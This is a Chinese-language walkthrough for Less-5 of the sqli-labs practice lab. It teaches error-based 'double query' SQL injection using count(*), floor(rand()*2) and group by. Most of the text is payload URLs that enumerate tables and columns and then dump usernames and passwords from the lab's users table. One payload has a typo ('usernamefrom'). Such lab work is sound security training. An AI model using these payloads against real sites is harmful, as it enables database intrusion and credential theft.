Sqlilabs-5
这一节引入了新的概念:双查询
其利用的原理就是:有研究人员发现,当聚合函数和分组函数,随机函数,取整函数联合使用时会报错,其报错内容会将查询的内容显示出来。第五关就是基于这个原理。
在这里先讲述几个概念:
双查询:顾名思义就是包含一个子查询的查询select concat((select database()))
取整函数:select floor(0.11111)
将取整为 0
随机函数:select rand()
将产生一范围在0~1的随机数
聚合函数:如 count
分组函数:group by,比如查询出来的结果有 10 个 A,10 个 B,可用该函数把 A 分为一组,把 B 分为一组
取整函数和随机函数的结合使用:floor(rand()*2)这样的结果为 0 或者 1
当构造:select count(*),concat((select database()),floor(rand()*2)) from information_schema.tables group by a
时,[一次没有就刷新,刷新几次就有]就会有报错
构造 ID 后,显示的内容为:You are in…http://sqlilabs/Less-5/?id=1
回显正常http://sqlilabs/Less-5/?id=1'
回显报错http://sqlilabs/Less-5/?id=1'--+
回显正常
因为正常时返回的内容为 You are in…无法从返回结果得到信息,跟 1 - 4 关不一样的地方就在此,可以利用上述上查询报错得到我们想要的,初步构造http://sqlilabs/Less-5/?id=1' order by 3--+
回显正常http://sqlilabs/Less-5/?id=1' order by 4--+
回显错误
爆数据库名:http://sqlilabs/Less-5/?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand()*2))a from information_schema.tables group by a--+
刷新几次得到报错,这里还需要添加 limit 函数,否则会说返回的结果大于 1 行,一次次试即可得到结果
爆数据库表:[同样更改 limit 取值,一个个尝试]http://sqlilabs/Less-5/?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 2,1),floor(rand()*2))a from information_schema.tables group by a--+
爆数据库字段:[同上]http://sqlilabs/Less-5/?id=-1' union select 1,count(*),concat((select usernamefrom users limit 0,1),floor(rand()*2))a from information_schema.tables group by a--+
http://sqlilabs/Less-5/?id=-1' union select 1,count(*),concat((select password from users limit 0,1),floor(rand()*2))a from information_schema.tables group by a--+
一个个改造,得到一个用户名转而去获取对应密码,直到得到全部用户名和密码
????